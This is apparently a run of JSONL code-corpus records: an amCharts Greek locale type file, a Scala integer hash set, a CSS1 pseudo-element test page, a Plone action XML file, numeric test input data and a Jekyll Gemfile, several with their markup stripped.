\"September\": string;\r\n \"October\": string;\r\n \"November\": string;\r\n \"December\": string;\r\n \"Jan\": string;\r\n \"Feb\": string;\r\n \"Mar\": string;\r\n \"Apr\": string;\r\n \"May(short)\": string;\r\n \"Jun\": string;\r\n \"Jul\": string;\r\n \"Aug\": string;\r\n \"Sep\": string;\r\n \"Oct\": string;\r\n \"Nov\": string;\r\n \"Dec\": string;\r\n \"Sunday\": string;\r\n \"Monday\": string;\r\n \"Tuesday\": string;\r\n \"Wednesday\": string;\r\n \"Thursday\": string;\r\n \"Friday\": string;\r\n \"Saturday\": string;\r\n \"Sun\": string;\r\n \"Mon\": string;\r\n \"Tue\": string;\r\n \"Wed\": string;\r\n \"Thu\": string;\r\n \"Fri\": string;\r\n \"Sat\": string;\r\n \"_dateOrd\": (day: number) => string;\r\n \"Zoom Out\": string;\r\n \"Play\": string;\r\n \"Stop\": string;\r\n \"Legend\": string;\r\n \"Click, tap or press ENTER to toggle\": string;\r\n \"Loading\": string;\r\n \"Home\": string;\r\n \"Chart\": string;\r\n \"Serial chart\": string;\r\n \"X/Y chart\": string;\r\n \"Pie chart\": string;\r\n \"Gauge chart\": string;\r\n \"Radar chart\": string;\r\n \"Sankey diagram\": string;\r\n \"Flow diagram\": string;\r\n \"Chord diagram\": string;\r\n \"TreeMap chart\": string;\r\n \"Sliced chart\": string;\r\n \"Series\": string;\r\n \"Candlestick Series\": string;\r\n \"OHLC Series\": string;\r\n \"Column Series\": string;\r\n \"Line Series\": string;\r\n \"Pie Slice Series\": string;\r\n \"Funnel Series\": string;\r\n \"Pyramid Series\": string;\r\n \"X/Y Series\": string;\r\n \"Map\": string;\r\n \"Press ENTER to zoom in\": string;\r\n \"Press ENTER to zoom out\": string;\r\n \"Use arrow keys to zoom in and out\": string;\r\n \"Use plus and minus keys on your keyboard to zoom in and out\": string;\r\n \"Export\": string;\r\n \"Image\": string;\r\n \"Data\": string;\r\n \"Print\": string;\r\n \"Click, tap or press ENTER to open\": string;\r\n \"Click, tap or press ENTER to print.\": string;\r\n \"Click, tap or press ENTER to export as %1.\": string;\r\n 'To save the image, right-click this link and choose \"Save picture as...\"': string;\r\n 'To save the image, right-click thumbnail on the left and choose \"Save picture as...\"': string;\r\n \"(Press ESC to close this message)\": string;\r\n \"Image Export Complete\": string;\r\n \"Export operation took longer than expected. Something might have gone wrong.\": string;\r\n \"Saved from\": string;\r\n \"PNG\": string;\r\n \"JPG\": string;\r\n \"GIF\": string;\r\n \"SVG\": string;\r\n \"PDF\": string;\r\n \"JSON\": string;\r\n \"CSV\": string;\r\n \"XLSX\": string;\r\n \"Use TAB to select grip buttons or left and right arrows to change selection\": string;\r\n \"Use left and right arrows to move selection\": string;\r\n \"Use left and right arrows to move left selection\": string;\r\n \"Use left and right arrows to move right selection\": string;\r\n \"Use TAB select grip buttons or up and down arrows to change selection\": string;\r\n \"Use up and down arrows to move selection\": string;\r\n \"Use up and down arrows to move lower selection\": string;\r\n \"Use up and down arrows to move upper selection\": string;\r\n \"From %1 to %2\": string;\r\n \"From %1\": string;\r\n \"To %1\": string;\r\n \"No parser available for file: %1\": string;\r\n \"Error parsing file: %1\": string;\r\n \"Unable to load file: %1\": string;\r\n \"Invalid date\": string;\r\n};\r\n/**\r\n * amCharts 4 locale\r\n *\r\n * Locale: el_GR\r\n * Language: Greek\r\n * Author: Bjorn Svensson\r\n *\r\n * Follow instructions in [on this page](https://www.amcharts.com/docs/v4/tutorials/creating-translations/) to make corrections or add new translations.\r\n *\r\n * ---\r\n * Edit but leave the header section above this line. You can remove any\r\n * subsequent comment sections.\r\n * ---\r\n *\r\n * Use this file as a template to create translations. Leave the key part in\r\n * English intact. Fill the value with a translation.\r\n *\r\n * Empty string means no translation, so default \"International English\"\r\n * will be used.\r\n *\r\n * If you need the translation to literally be an empty string, use `null`\r\n * instead.\r\n *\r\n * IMPORTANT:\r\n * When translating make good effort to keep the translation length\r\n * at least the same chartcount as the English, especially for short prompts.\r\n *\r\n * Having significantly longer prompts may distort the actual charts.\r\n *\r\n * NOTE:\r\n * Some prompts - like months or weekdays - come in two versions: full and\r\n * shortened.\r\n *\r\n * If there's no official shortened version of these in your language, and it\r\n * would not be possible to invent such short versions that don't seem weird\r\n * to native speakers of that language, fill those with the same as full\r\n * version.\r\n *\r\n * PLACEHOLDERS:\r\n * Some prompts have placeholders like \"%1\". Those will be replaced by actual\r\n * values during translation and should be retained in the translated prompts.\r\n *\r\n * Placeholder positions may be changed to better suit structure of the\r\n * sentence.\r\n *\r\n * For example \"From %1 to %2\", when actually used will replace \"%1\" with an\r\n * actual value representing range start, and \"%2\" will be replaced by end\r\n * value.\r\n *\r\n * E.g. in a Scrollbar for Value axis \"From %1 to %2\" will become\r\n * \"From 100 to 200\". You may translate \"From\" and \"to\", as well as re-arrange\r\n * the order of the prompt itself, but make sure the \"%1\" and \"%2\" remain, in\r\n * places where they will make sense.\r\n *\r\n * Save the file as language_LOCALE, i.e. `en_GB.ts`, `fr_FR.ts`, etc.\r\n */\r\nexport default _default;\r\n"} +{"text": "/*\n * @author Philip Stutz\n *\n * Copyright 2014 University of Zurich\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.signalcollect.util\n\nimport scala.Array.canBuildFrom\nimport scala.reflect.ClassTag\n\nclass IntHashSet(\n initialSize: Int = 32768,\n rehashFraction: Float = 0.75f) {\n assert(initialSize > 0)\n final var maxSize = nextPowerOfTwo(initialSize)\n assert(1.0f >= rehashFraction && rehashFraction > 0.1f, \"Unreasonable rehash fraction.\")\n assert(maxSize > 0 && maxSize >= initialSize, \"Initial size is too large.\")\n private[this] final var maxElements: Int = (rehashFraction * maxSize).floor.toInt\n private[this] final var keys = new Array[Int](maxSize) // 0 means empty\n private[this] final var mask = maxSize - 1\n private[this] final var nextPositionToProcess = 0\n\n final def size: Int = numberOfElements\n final def isEmpty: Boolean = numberOfElements == 0\n private[this] final var numberOfElements = 0\n\n final def clear(): Unit = {\n keys = new Array[Int](maxSize)\n numberOfElements = 0\n nextPositionToProcess = 0\n }\n\n def toScalaSet: Set[Int] = {\n keys.filter(_ != 0).toSet\n }\n\n private[this] final def tryDouble(): Unit = {\n // 1073741824 is the largest size and cannot be doubled anymore.\n if (maxSize != 1073741824) {\n val oldKeys = keys\n val oldNumberOfElements = numberOfElements\n maxSize *= 2\n maxElements = (rehashFraction * maxSize).floor.toInt\n keys = new Array[Int](maxSize)\n mask = maxSize - 1\n numberOfElements = 0\n var i = 0\n var elementsMoved = 0\n while (elementsMoved < oldNumberOfElements) {\n val oldKey = oldKeys(i)\n if (oldKey != 0) {\n add(oldKey)\n elementsMoved += 1\n }\n i += 1\n }\n }\n }\n\n final def foreach(f: Int => Unit): Unit = {\n var i = 0\n var elementsProcessed = 0\n while (elementsProcessed < numberOfElements) {\n val key = keys(i)\n if (key != 0) {\n f(key)\n elementsProcessed += 1\n }\n i += 1\n }\n }\n\n final def remove(key: Int): Unit = {\n remove(key, true)\n }\n\n private final def remove(key: Int, optimize: Boolean): Unit = {\n var position = keyToPosition(key)\n var keyAtPosition = keys(position)\n while (keyAtPosition != 0 && key != keyAtPosition) {\n position = (position + 1) & mask\n keyAtPosition = keys(position)\n }\n // We can only remove the entry if it was found.\n if (keyAtPosition != 0) {\n keys(position) = 0\n numberOfElements -= 1\n if (optimize) {\n optimizeFromPosition((position + 1) & mask)\n }\n }\n }\n\n // Try to reinsert all elements that are not optimally placed until an empty position is found.\n // See http://stackoverflow.com/questions/279539/best-way-to-remove-an-entry-from-a-hash-table\n private[this] final def optimizeFromPosition(startingPosition: Int): Unit = {\n var currentPosition = startingPosition\n var keyAtPosition = keys(currentPosition)\n while (isCurrentPositionOccupied) {\n val perfectPositionForEntry = keyToPosition(keyAtPosition)\n if (perfectPositionForEntry != currentPosition) {\n // We try to optimize the placement of the entry by removing and then reinserting it.\n removeCurrentEntry\n add(keyAtPosition)\n }\n advance\n }\n @inline def advance(): Unit = {\n currentPosition = ((currentPosition + 1) & mask)\n keyAtPosition = keys(currentPosition)\n }\n @inline def isCurrentPositionOccupied: Boolean = {\n keyAtPosition != 0\n }\n @inline def removeCurrentEntry(): Unit = {\n keys(currentPosition) = 0\n numberOfElements -= 1\n }\n }\n\n final def apply(key: Int): Boolean = contains(key)\n\n @inline final def contains(key: Int): Boolean = {\n var position = keyToPosition(key)\n var keyAtPosition = keys(position)\n while (keyAtPosition != 0 && key != keyAtPosition) {\n position = (position + 1) & mask\n keyAtPosition = keys(position)\n }\n if (keyAtPosition != 0) {\n true\n } else {\n false\n }\n }\n\n /**\n * Returns true iff this entry already existed.\n */\n def add(key: Int): Boolean = {\n assert(key != 0, \"Key cannot be 0\")\n var position = keyToPosition(key)\n var keyAtPosition = keys(position)\n while (keyAtPosition != 0 && key != keyAtPosition) {\n position = (position + 1) & mask\n keyAtPosition = keys(position)\n }\n val alreadyContained = keyAtPosition == key\n if (!alreadyContained) {\n keys(position) = key\n numberOfElements += 1\n if (numberOfElements >= maxElements) {\n tryDouble\n if (numberOfElements >= maxSize) {\n throw new OutOfMemoryError(\"The hash map is full and cannot be expanded any further.\")\n }\n }\n }\n alreadyContained\n }\n\n private[this] final def keyToPosition(key: Int): Int = {\n key.hashCode & mask\n }\n\n private[this] final def nextPowerOfTwo(x: Int): Int = {\n var r = x - 1\n r |= r >> 1\n r |= r >> 2\n r |= r >> 4\n r |= r >> 8\n r |= r >> 16\n r + 1\n }\n\n}\n"} +{"text": "__author__ = 'markhor'\n"} +{"text": "\n\n\nCSS1 Test Suite: 2.6 Multiple Pseudo-Elements\n\n\n\n\n\n\n\n\n

    The style declarations which apply to the text below are:

    \n
    P:first-line {color: green;}\nP:first-letter {color: maroon;}\n.two:first-line {font-size: 200%;}\n.two:first-letter {font-size: 350%;}\nP.three:first-letter {font-size: 350%;}\nP.three:first-line {font-variant: small-caps;}\n\n
    \n
    \n

    \nThe first letter of this paragraph, and only that one, should be maroon (dark red), while the entire first line should be green. If this precise combination does not occur, then the user agent has failed this test. Remember that in order to ensure a complete test, the paragraph must be displayed on more than one line.\n

    \n

    \nThe first letter of this paragraph, and only that one, should be 350% bigger than the rest of the first line of this paragraph and maroon (dark red), while the entire first line should be 200% bigger than normal and green. If this precise combination does not occur, then the user agent has failed this test. Remember that in order to ensure a complete test, the paragraph must be displayed on more than one line.\n

    \n

    \n\"We should check for quotation support,\" it was said. The first two characters in this paragraph-- a double-quote mark and a capital 'W'-- should be 350% bigger than the rest of the paragraph, and maroon (dark red). Note that the inclusion of both the quotation mark and the 'W' in the first-letter style is not required under CSS1, but it is recommended. In addition, the entire first line should be in a small-caps font and green.\n

    \n\n\n\n\n\n\n\n\n
    TABLE Testing Section
     

    \nThe first letter of this paragraph, and only that one, should be maroon (dark red), while the entire first line should be green. If this precise combination does not occur, then the user agent has failed this test. Remember that in order to ensure a complete test, the paragraph must be displayed on more than one line.\n

    \n

    \nThe first letter of this paragraph, and only that one, should be 350% bigger than the rest of the first line of this paragraph and maroon (dark red), while the entire first line should be 200% bigger than normal and green. If this precise combination does not occur, then the user agent has failed this test. Remember that in order to ensure a complete test, the paragraph must be displayed on more than one line.\n

    \n

    \n\"We should check for quotation support,\" it was said. The first two characters in this paragraph-- a double-quote mark and a capital 'W'-- should be 350% bigger than the rest of the paragraph, and maroon (dark red). Note that the inclusion of both the quotation mark and the 'W' in the first-letter style is not required under CSS1, but it is recommended. In addition, the entire first line should be in a small-caps font and green.\n

    \n
    \n\n"} +{"text": "\n\n \n \n \n \n \n \n \n action \n \n AAAAAAAAAAI= \n \n \n \n categories \n \n \n action_type/object_view\n \n \n \n \n category \n object_view \n \n \n condition \n \n \n \n description \n \n \n \n icon \n \n \n \n id \n view \n \n \n permissions \n \n \n View\n \n \n \n \n priority \n 1.0 \n \n \n title \n View \n \n \n visible \n 1 \n \n \n \n \n \n \n \n \n \n \n \n text \n string:${object_url}/TaskModule_viewTaskList \n \n \n \n \n\n"} +{"text": "5\n100\n1 61 22\n1 23 34\n2 68 57 1 85\n1 96 59\n3 59 100 57 43 38 11\n1 50 70\n1 22 46\n4 88 69 5 57 86 97 47 63\n2 81 57 37 33\n3 97 16 57 35 7 6\n4 67 59 94 57 1 7 23 14\n1 4 72\n1 40 59\n4 1 16 53 57 49 54 89 70\n4 12 2 10 57 98 94 26 29\n3 32 32 57 47 40 1\n8 71 12 57 84 15 75 33 57 50 90 29 42 42 31 80 24\n3 55 78 57 15 71 40\n6 95 68 53 45 20 57 33 36 37 93 68 45\n8 34 47 58 34 19 86 100 57 81 95 13 69 39 63 21 97\n2 72 57 87 51\n4 60 42 45 57 96 17 89 95\n1 11 60\n7 50 69 56 38 54 43 57 65 85 89 83 62 75 59\n3 37 70 57 71 82 8\n1 30 83\n2 57 57 47 72\n4 67 18 91 57 66 99 24 74\n3 57 59 57 8 18 8\n2 17 57 24 95\n4 40 24 97 57 31 13 77 80\n1 31 97\n5 11 83 5 65 57 90 100 34 56 5\n1 85 91\n2 9 57 46 2\n3 43 12 57 61 64 98\n2 93 57 82 1\n2 73 57 30 56\n7 69 77 92 52 44 3 57 70 58 49 66 47 25 91\n1 98 23\n2 58 57 25 36\n2 79 57 88 19\n1 1 15\n2 41 57 78 64\n3 100 55 57 16 31 44\n1 87 87\n3 51 29 57 49 22 84\n4 72 60 28 57 26 41 39 81\n1 75 53\n1 48 4\n2 60 57 8 20\n3 53 60 57 43 83 41\n10 99 87 17 39 43 19 47 42 68 64 38 65 30 13 59 16 87 12 43 9\n1 46 78\n4 13 3 8 57 28 72 28 88\n3 36 14 57 57 2 51\n1 35 18\n1 77 48\n1 92 52\n1 27 93\n3 64 63 57 94 71 10\n1 26 61\n5 64 84 1 62 57 53 87 65 91 70\n7 44 81 80 51 25 18 57 67 77 76 67 85 4 32\n12 97 67 77 8 74 97 50 67 3 10 25 57 58 34 91 21 35 15 73 52 63 91 12 60\n2 71 57 76 67\n4 80 17 54 57 20 100 97 18\n2 47 57 11 8\n3 69 74 57 76 20 60\n4 10 50 76 57 99 84 63 78\n6 1 49 96 61 6 57 42 32 61 18 17 22\n1 82 61\n2 49 57 86 27\n1 99 6\n2 13 57 16 100\n2 95 57 19 92\n2 67 57 82 50\n1 80 25\n6 63 11 86 9 2 57 35 46 87 87 25 59\n3 23 3 57 84 44 12\n5 80 100 24 84 57 46 21 62 9 12\n5 16 10 75 83 57 11 55 15 52 74\n8 4 39 81 1 81 62 42 57 45 80 40 96 5 73 41 73\n3 98 88 57 64 3 55\n6 74 97 54 28 36 57 52 94 11 36 5 98\n3 60 15 57 50 71 82\n1 7 10\n1 66 78\n2 38 57 44 75\n1 24 79\n1 37 69\n3 16 44 57 20 56 33\n2 89 57 92 81\n4 84 21 34 57 14 70 8 17\n6 49 11 41 72 21 57 35 92 48 54 58 54\n1 51 77\n3 100 56 57 15 32 57\n4 90 27 86 57 5 96 73 83\n4 61 98 90 57 79 53 3 68\n1 69 27\n100\n2 2 76 18 36\n3 25 76 76 12 78 9\n2 71 76 1 98\n1 91 69\n3 65 4 76 80 37 88\n1 74 41\n2 19 76 21 13\n2 78 76 62 74\n3 6 51 76 48 70 37\n1 28 25\n2 94 76 23 7\n6 23 82 36 93 33 76 38 99 37 1 33 44\n2 11 76 9 76\n1 42 60\n2 18 76 43 8\n1 95 50\n11 61 35 63 59 32 5 77 98 28 66 76 30 87 11 60 18 63 38 55 35 96 64\n1 35 45\n1 26 92\n3 15 40 76 86 93 3\n1 34 26\n3 83 10 76 100 85 83\n1 63 91\n2 87 76 40 53\n4 7 35 64 76 75 96 43 76\n3 31 100 76 98 73 95\n1 37 31\n2 92 76 99 87\n9 35 44 68 47 29 41 39 12 76 64 24 44 6 56 32 82 100 86\n2 85 76 74 97\n2 14 76 67 83\n1 90 70\n1 39 62\n3 51 8 76 81 17 65\n7 23 76 27 22 1 5 76 49 35 43 59 57 73 30\n1 80 30\n5 76 65 33 33 76 4 8 92 56 42\n12 82 63 95 17 77 44 28 20 57 81 53 76 78 84 92 73 87 75 6 32 22 46 40 20\n4 70 70 82 76 18 85 62 64\n2 7 76 30 23\n2 50 76 28 51\n2 1 76 41 63\n4 23 38 98 76 29 99 74 24\n4 94 58 97 76 46 72 68 90\n1 72 11\n7 84 81 91 78 91 45 76 59 51 43 99 61 65 49\n10 38 63 32 14 33 44 72 7 93 76 74 20 53 28 10 82 80 53 5 9\n2 86 76 22 39\n2 62 76 15 67\n3 46 20 76 24 79 13\n1 89 89\n9 18 66 27 15 84 32 1 48 76 39 3 34 71 54 66 93 83 86\n2 3 76 30 47\n4 34 14 15 76 52 53 90 17\n4 53 29 79 76 95 2 36 98\n8 58 47 60 98 27 49 78 76 64 77 74 20 74 97 67 19\n1 84 90\n4 63 55 73 76 63 52 94 61\n4 52 78 81 76 5 62 1 95\n1 36 56\n2 22 76 16 45\n1 96 68\n4 49 26 21 76 6 31 40 50\n5 42 46 54 16 76 31 35 81 15 33\n2 32 76 3 28\n8 55 81 46 53 56 22 91 76 45 49 59 70 34 54 59 81\n1 49 68\n1 9 27\n2 25 76 86 44\n4 4 1 83 76 96 87 12 10\n3 14 81 76 21 35 72\n2 65 76 89 12\n1 46 28\n4 87 51 24 76 34 85 25 98\n2 54 76 52 88\n9 73 85 78 27 70 3 40 75 76 58 55 89 19 48 64 18 80 88\n9 41 58 25 4 26 10 24 16 76 16 14 47 66 91 5 24 54 4\n3 80 61 76 57 76 19\n7 55 37 73 85 88 45 53 82 84 55 100 58 22 57\n1 73 15\n1 43 71\n1 79 11\n4 33 21 6 76 97 79 62 42\n1 27 6\n5 78 81 5 31 76 59 18 90 57 21\n1 60 33\n3 63 41 76 64 73 6\n2 99 76 26 39\n2 97 76 29 50\n5 36 24 89 57 76 73 82 47 93 53\n1 70 50\n11 53 77 31 38 58 89 53 25 5 48 76 32 14 77 10 38 57 2 60 89 7 48\n4 17 33 22 76 8 27 73 94\n1 67 7\n4 8 94 23 76 44 16 29 23\n1 68 69\n2 69 76 28 2\n3 26 30 76 23 9 76\n5 27 68 3 13 76 74 99 55 14 3\n1 88 82\n100\n1 46 6\n7 44 38 32 33 38 15 86 8 30 40 19 46 82 14\n3 16 52 86 72 53 99\n1 72 55\n6 15 26 16 25 16 86 6 86 94 21 60 86\n2 34 86 62 24\n2 27 86 40 89\n1 71 45\n5 52 88 29 25 86 47 11 53 2 38\n1 58 41\n6 50 96 43 34 80 86 20 20 32 90 17 85\n3 41 3 86 97 100 58\n2 55 86 47 99\n1 40 89\n6 86 47 92 19 50 86 90 100 7 75 67 76\n5 75 43 66 39 86 61 27 69 4 33\n4 39 73 7 86 83 12 95 65\n6 90 4 78 26 56 86 64 74 73 19 58 88\n7 26 16 45 66 26 93 86 68 24 46 68 70 42 22\n1 11 89\n4 63 41 37 86 35 23 92 24\n1 99 96\n1 51 91\n1 61 43\n2 36 86 15 75\n9 100 60 11 61 29 78 25 2 64 25 34 9 78 37 66 48 52 13\n3 8 87 86 13 64 91\n4 39 54 86 86 64 56 99 10\n7 16 51 70 22 43 66 86 33 71 86 85 47 19 49\n3 20 47 86 35 48 85\n1 74 7\n2 31 86 82 54\n1 2 70\n1 82 70\n2 28 86 79 13\n4 70 91 85 86 88 92 9 77\n4 79 55 23 86 49 46 17 60\n2 75 86 57 43\n7 50 62 84 89 3 49 86 21 31 11 45 16 92 77\n5 67 51 13 70 86 100 94 41 36 30\n5 67 1 45 44 86 47 93 27 57 71\n3 1 68 86 66 5 61\n2 12 86 17 81\n1 33 15\n2 91 86 90 80\n3 20 22 86 3 16 87\n8 72 46 41 62 75 1 26 93 25 67 54 21 31 82 27 66\n7 91 47 85 4 82 45 86 49 70 75 46 75 49 40\n1 54 38\n5 71 13 64 13 86 58 63 1 39 63\n2 32 86 43 49\n4 35 59 95 86 32 49 13 45\n3 34 84 86 32 30 33\n1 9 73\n4 13 75 24 86 62 19 8 17\n3 19 10 86 26 57 42\n4 83 84 35 86 84 71 54 98\n2 97 86 25 23\n10 66 80 42 58 70 19 7 86 76 86 16 27 94 21 6 76 49 79 83 89\n4 54 19 1 86 48 89 31 58\n1 6 64\n2 43 86 8 93\n5 24 93 80 38 86 88 63 71 1 11\n2 45 86 76 81\n5 33 46 88 53 86 50 18 97 18 40\n2 30 86 75 29\n7 72 48 45 65 85 23 86 96 38 91 1 55 14 69\n2 77 86 89 17\n2 89 86 32 2\n2 83 86 52 79\n3 81 42 86 95 5 59\n3 44 73 86 91 17 92\n8 97 49 100 12 64 36 90 86 81 92 22 10 74 80 88 23\n5 12 63 44 8 86 81 35 59 73 54\n1 81 67\n1 21 91\n3 51 100 86 34 78 28\n1 69 37\n2 14 86 29 90\n1 98 25\n3 42 96 86 12 87 73\n2 5 86 84 77\n2 44 86 38 47\n4 99 88 94 86 66 30 19 27\n1 1 72\n1 62 51\n2 26 86 21 15\n4 8 48 24 86 14 35 39 79\n3 52 59 86 13 79 31\n8 42 59 75 53 85 99 79 86 45 44 3 36 82 52 80 51\n2 63 86 33 12\n1 20 27\n5 93 72 62 53 86 69 23 81 10 99\n1 17 85\n2 78 86 83 87\n2 18 86 59 12\n6 30 19 12 71 4 86 28 29 50 98 56 4\n6 69 16 72 59 57 86 9 65 26 97 73 44\n3 63 92 86 33 71 24\n1 29 45\n100\n2 7 83 41 82\n2 47 83 100 44\n3 9 45 83 17 31 23\n3 70 44 83 14 5 27\n1 33 25\n3 22 96 83 72 73 10\n3 91 16 83 49 68 57\n3 77 68 83 49 92 58\n5 57 31 53 57 80 80 59 99 41 99\n2 1 83 36 9\n4 41 22 74 83 80 22 99 51\n2 8 83 52 16\n3 78 62 83 71 48 47\n4 12 89 33 83 89 57 67 50\n2 20 83 74 65\n2 92 83 97 82\n6 84 100 77 48 1 83 44 23 13 37 58 72\n3 3 91 83 48 79 15\n9 28 51 37 32 82 34 49 77 83 100 92 40 41 83 94 36 84 78\n3 72 54 83 30 53 62\n2 38 83 85 66\n1 2 70\n1 56 61\n8 1 49 58 33 30 6 14 83 12 54 45 31 18 95 7 56\n2 50 83 90 76\n4 8 46 10 83 92 8 50 94\n5 48 95 41 81 83 20 83 94 62 74\n2 22 83 5 22\n2 43 83 4 8\n5 83 18 87 38 83 87 98 97 85 8\n4 37 49 84 83 56 4 70 98\n3 56 75 83 13 83 39\n5 23 64 69 41 83 25 30 2 65 34\n2 9 83 16 55\n2 86 83 95 32\n1 45 82\n7 37 60 4 47 89 91 83 68 92 54 49 7 14 69\n2 11 83 87 39\n1 52 62\n2 71 83 29 33\n1 21 25\n7 17 28 50 79 88 22 83 3 86 76 89 44 85 49\n2 76 83 53 37\n8 84 60 54 79 89 48 87 83 80 77 12 51 21 62 33 43\n3 83 5 83 69 22 1\n2 66 83 45 27\n1 58 93\n3 83 4 83 88 59 49\n3 24 46 83 87 28 80\n1 6 11\n9 65 20 28 69 31 51 2 60 83 8 58 56 6 8 26 37 49 35\n1 82 14\n2 67 83 40 68\n3 69 79 83 96 10 96\n1 63 86\n4 55 68 35 83 75 90 9 28\n2 36 83 47 88\n2 84 83 57 63\n1 97 92\n3 82 78 83 29 13 53\n6 30 63 13 79 77 83 56 16 3 5 25 39\n3 60 39 83 52 39 64\n4 40 96 83 83 13 14 24 43\n2 85 83 88 24\n2 12 83 21 57\n2 13 83 93 69\n2 15 83 69 75\n2 46 83 28 82\n1 59 58\n1 69 51\n4 13 22 99 83 97 50 6 49\n1 29 7\n11 63 60 7 48 45 45 25 81 79 60 83 43 90 32 77 26 100 84 68 46 20 16\n2 61 83 60 11\n2 70 83 66 37\n3 21 27 83 55 20 18\n3 83 53 83 44 55 81\n2 95 83 94 27\n2 98 83 35 1\n1 73 64\n8 35 60 100 40 98 27 64 83 94 46 38 72 61 24 38 61\n3 55 93 83 81 37 90\n2 94 83 6 15\n1 23 81\n2 40 83 42 26\n1 34 30\n1 72 79\n3 18 37 83 43 14 51\n4 8 100 87 83 83 58 67 74\n3 17 19 83 39 97 78\n7 84 2 68 42 20 52 83 78 42 75 19 73 59 63\n1 57 62\n2 26 83 35 23\n4 30 78 65 83 3 21 19 91\n1 55 76\n2 48 83 56 77\n2 28 83 60 66\n1 25 20\n1 32 71\n5 90 76 22 74 83 17 2 91 34 54\n100\n3 73 58 27 75 83 69\n1 64 30\n4 83 65 7 27 55 62 65 12\n8 40 52 11 66 99 6 25 27 93 85 20 24 25 25 72 72\n1 24 74\n1 76 33\n4 49 37 70 27 33 2 61 81\n3 50 3 27 20 15 17\n1 84 55\n3 16 99 27 58 49 51\n1 12 92\n1 55 97\n1 35 5\n2 33 27 4 50\n1 16 43\n2 10 27 47 20\n5 49 53 61 66 27 91 90 31 13 41\n2 26 27 1 36\n4 1 50 29 27 60 93 24 62\n5 4 3 45 36 27 75 90 32 43 8\n2 1 27 19 90\n3 19 73 27 45 77 84\n1 34 94\n1 83 31\n1 71 59\n2 54 27 30 73\n2 63 27 15 13\n1 85 41\n1 17 22\n1 45 18\n1 98 85\n3 79 44 27 57 31 87\n1 61 58\n2 40 27 61 27\n2 59 27 66 79\n1 68 34\n1 60 9\n2 80 27 99 63\n1 8 70\n5 95 90 68 93 27 13 4 5 2 24\n1 9 21\n1 72 6\n1 6 59\n2 48 27 27 89\n2 27 27 83 78\n4 91 9 96 27 63 59 58 35\n1 67 67\n3 77 40 2 32 13 96\n1 75 84\n2 42 27 60 100\n6 27 2 7 60 4 27 40 84 37 35 54 29\n4 2 96 53 27 98 71 45 28\n5 38 62 43 41 27 57 44 63 57 5\n3 51 65 27 16 12 65\n5 12 43 92 51 27 71 99 23 43 68\n2 97 27 46 37\n3 66 78 27 76 7 63\n7 97 25 2 69 45 82 27 53 51 88 65 76 78 10\n3 70 87 27 54 86 18\n1 30 74\n1 39 1\n3 62 14 27 86 92 18\n2 5 27 91 67\n2 23 27 51 10\n1 94 97\n10 50 75 70 2 93 29 60 74 28 27 28 21 48 70 1 56 5 19 92 50\n4 18 4 81 27 10 52 14 81\n1 15 34\n1 43 62\n3 23 22 27 2 18 86\n7 2 49 71 38 48 90 27 95 26 64 82 64 55 23\n8 33 52 28 92 90 27 92 27 52 42 8 46 38 12 100 98\n11 97 15 91 82 46 42 69 12 57 88 27 76 20 11 57 38 84 47 8 67 77 92\n2 56 27 13 41\n2 18 27 89 97\n2 13 27 48 36\n9 88 23 58 52 18 48 55 3 27 70 17 3 47 87 79 4 82 6\n1 74 13\n1 95 14\n2 20 27 61 66\n4 72 70 91 27 4 73 80 31\n1 79 21\n2 46 27 1 38\n10 33 2 28 64 21 24 61 90 47 27 8 9 99 42 77 87 91 29 39 50\n8 73 60 89 59 35 78 11 27 69 9 45 43 22 47 56 75\n3 71 100 27 85 94 44\n2 21 27 64 2\n1 57 35\n1 31 66\n2 69 27 26 68\n2 62 27 80 38\n2 32 27 20 48\n5 72 45 81 86 27 41 95 30 84 7\n1 52 53\n6 98 10 98 81 38 27 26 100 31 87 1 100\n3 38 19 27 14 53 68\n1 37 32\n1 49 10\n1 50 2\n13 75 75 49 21 70 5 26 58 37 95 31 89 27 49 11 96 90 11 3 77 39 32 35 88 16 40\n"} +{"text": "source 'https://rubygems.org'\n\ngroup :development, :test do\n gem 'jekyll', '~> 3.8.3'\n gem 'jekyll-redirect-from', '~> 0.14.0'\n gem 'jekyll-sitemap', '~> 1.2.0'\n gem 'jekyll-toc', '~> 0.6.0'\nend\n"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n 